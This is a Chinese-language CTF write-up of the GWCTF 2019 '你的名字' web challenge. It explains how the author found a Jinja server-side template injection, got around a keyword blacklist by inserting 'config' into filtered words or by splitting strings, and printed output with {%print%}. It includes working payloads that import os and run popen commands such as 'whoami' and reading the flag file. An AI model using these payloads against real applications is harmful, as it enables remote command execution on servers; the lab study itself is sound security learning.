[GWCTF 2019]你的名字

[GWCTF 2019]你的名字

[GWCTF 2019]你的名字_第1张图片
打开题目后界面如上所示,你输入什么名字后就会显示出来
[GWCTF 2019]你的名字_第2张图片
说实话,这种题不出意外应该就是模板注入没跑了

试了下{{2+2}}直接报错,还是报的php的错,但是{2+2}就可以正常显示出来,这就说明{{可能被过滤了,而{可能没被过滤,所以我们再试一些只要{}就能用的句子试试,如{% set a=“test” %}
[GWCTF 2019]你的名字_第3张图片
执行完了以后虽然没有回显但也没有报错,说明正常执行了这句话,确定了考点是模板注入后就得想想怎么绕过了

上网找了一篇模板注入绕过相关文章

[GWCTF 2019]你的名字_第4张图片
这里用了if语句执行命令,但是这有一个疑问,我怎么知道各个模块在环境中的具体位置啊,如他这里的’’.class.mro[2].subclasses()[59]在我们题目环境中执行了这个语句得到的可能和他写这个payload时用的不是同一个子类啊。这里实在想不通了,找了WP来看,结果大多数都是直接用别人的payload,都没有说是怎么构造出来的。找了好久终于找到一篇WP讲解了payload的构造过程

它用了{%print %}这种形式,这样就能打印出执行信息了

试了下{%print lipsum %},终于有回显了,有回显了就好开始下面的构造了,至于一步步构造payload的过程有疑惑的,可以看一看我之前写的ssti相关文章
[GWCTF 2019]你的名字_第5张图片
这里还得补充一点,{%print %}形式下,若果你构造的payload是正常的ssti用到的语句却没有回显,就说明你的语句中可能有关键字被过滤了,如{%print ‘’.class %}执行之后没有任何的回显,但{%print ‘’.clconfigass %}成功执行有回显,这说明class被过滤了
[GWCTF 2019]你的名字_第6张图片
这里直接给出本体的黑名单源代码
[GWCTF 2019]你的名字_第7张图片
这过滤代码挺傻的,是先从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在黑名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过

所以最终的payload可以写成如下形式

{%print lipsum.__globals__.__builconfigtins__.__impoconfigrt__('oconfigs').poconfigpen('whoami').read()%}

[GWCTF 2019]你的名字_第8张图片
也可以拼接绕过

{%print lipsum.__globals__['__bui'+'ltins__']['__im'+'port__']('o'+'s')['po'+'pen']('whoami').read()%}

[GWCTF 2019]你的名字_第9张图片
**[GWCTF 2019]你的名字_第10张图片
**

{%set a='__bui'+'ltins__'%}
{%set b='__im'+'port__'%}
{%set c='o'+'s'%}
{%set d='po'+'pen'%}
{%print(lipsum['__globals__'][a][b](c)[d]('cat /flag_1s_Hera')['read']())%}

[GWCTF 2019]你的名字_第11张图片
当然,绕过方法还有很多,我的ssti文章中也详细讲了许多原理,有兴趣的可以看看.这道题最大的收获我觉得还是我看的这个大佬成功利用{%print %}解决了回显问题,而网上的其他大多数文章为了解决无法回显的问题大多是选择外带的形式,这就有一点麻烦了
[GWCTF 2019]你的名字_第12张图片
参考文章:
https://johnfrod.top/uncategorized/gwctf-2019%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97/
https://blog.z3ratu1.cn/%5BGWCTF%202019%5D%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97.html
https://blog.csdn.net/cjdgg/article/details/115770395?spm=1001.2014.3001.5501
https://xz.aliyun.com/t/6885#toc-4

你可能感兴趣的:(web学习,ssti,flask,安全)